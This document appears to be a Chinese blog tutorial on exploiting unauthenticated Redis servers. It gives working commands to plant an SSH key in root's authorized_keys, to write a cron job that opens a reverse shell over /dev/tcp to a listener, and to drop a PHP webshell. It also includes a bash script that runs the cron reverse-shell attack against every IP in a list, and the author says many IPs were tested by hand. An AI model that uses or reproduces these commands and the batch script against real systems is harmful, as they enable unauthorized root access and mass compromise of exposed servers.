Redis未授權訪問+批量自動getshell腳本
漏洞產生條件
- redis綁定在 0.0.0.0:6379,且沒有對登錄IP做限制,直接暴露在公網。
- 沒有設置密碼(默認為空)。
漏洞危害
- 攻擊者無需認證訪問到內部數據,可能導致敏感信息泄露,黑客也可以惡意執行flushall來清空所有數據;
- 攻擊者可通過EVAL執行lua代碼,或通過數據備份功能往磁盤寫入后門文件;
- 最嚴重的情況,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器。
漏洞復現
下載安裝:
https://redis.io/download
分別為穩定版和不穩定版本。
解壓安裝
tar -zxvf redis-6.0.8.tar.gz # 解壓 gcc -v # 依賴於gcc apt install gcc cd redis-6.0.8 make # 編譯安裝 # 開始編譯了幾次都不成功,后面升級了gcc版本就一步到位了。
安裝完畢后彈出結果不一樣也無所有,只要redis-service, redis-cli文件存在即可。
cd src cp redis-server /usr/bin/ cp redis-cli /usr/bin/ cd … cp redis.conf /etc/ redis-server /etc/redis.conf # 使用/etc/目錄下的redis.conf文件中的配置啟動redis服務
驗證漏洞
如果沒有redis-客戶端環境也可下載可視化客戶端進行連接。連接密碼為空,不過工具有點問題,時常連不上。
https://github.com/caoxinyu/RedisClient/releases/tag/2.0.0
GetShell
一: 公私鑰認證獲取root權限
- ssh免密配置
前提是受害者的機器上存在 /root/.ssh/ 目錄。
- 攻擊者生成ssh公私密鑰
ssh-keygen -t rsa
# 一直回車即可
- 在攻擊者機器上將密鑰寫入受害者機器
cd .ssh/ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redistest.txt #將生成的公鑰保存到redistest.txt cat redistest.txt | redis-cli -h 受害者ip -x set redistest #將保存ssh公鑰的redistext.txt寫入redis
5.登錄受害者IP查看
redis-cli -h 受害ip config get dir config set dir /root/.ssh config set dbfilename authorized_keys save
- 進行ssh登錄嘗試
ssh -i id_rsa root@ip -p 22 # 需要root
二: 計划任務反彈shell
- 條件: redis以root身份運行
- 在服務器用nc監聽
nc -lvvp 1234
2 .連接redis后寫入shell
redis-cli -h 192.168.246.130 config set dir /var/spool/cron set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/1234 0>&1\n" config set dbfilename root save
三:絕對路徑寫webshell
- 條件: 知道網站絕對路徑
config set dir /home/wwwroot/default/ config set dbfilename redis.php set shell "<?php phpinfo(); ?>" save
Shell腳本批量反彈
- 條件: 客戶端上裝了redis-cli
#!/bin/bash getshell(){ echo "-----分割線-----" redis-cli -h $i 2>&1 <<eeooff config get dir config set dir /var/spool/cron set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/1234 0>&1\n" config set dbfilename root save exit eeooff echo done! } ip=$IFSa if [ $# -ne 1 ];then echo "Usage $0 filename" exit fi if [ ! -f $1 ];then echo " $1 is not a file" exit fi if [ -f log.txt ];then echo "log.txt existing" `rm -f log.txt` fi IFS=$'\n' for i in `cat $1` do echo $i getshell >>log.txt #sleep 3s echo $i >> log.txt done
運行完后會生成一個log.txt文件。
未開放端口
不存在/var/spool/cron目錄
save失敗,一般是沒權限
像這種的就是成功了
手工測試了好多ip,雖然存在未授權訪問漏洞的有很多。但是能利用的很少,出現最多的就是權限不足。和目錄不存在,只要有權限save就可以考慮別的方法getshell。
如果哪里有錯誤請指出改正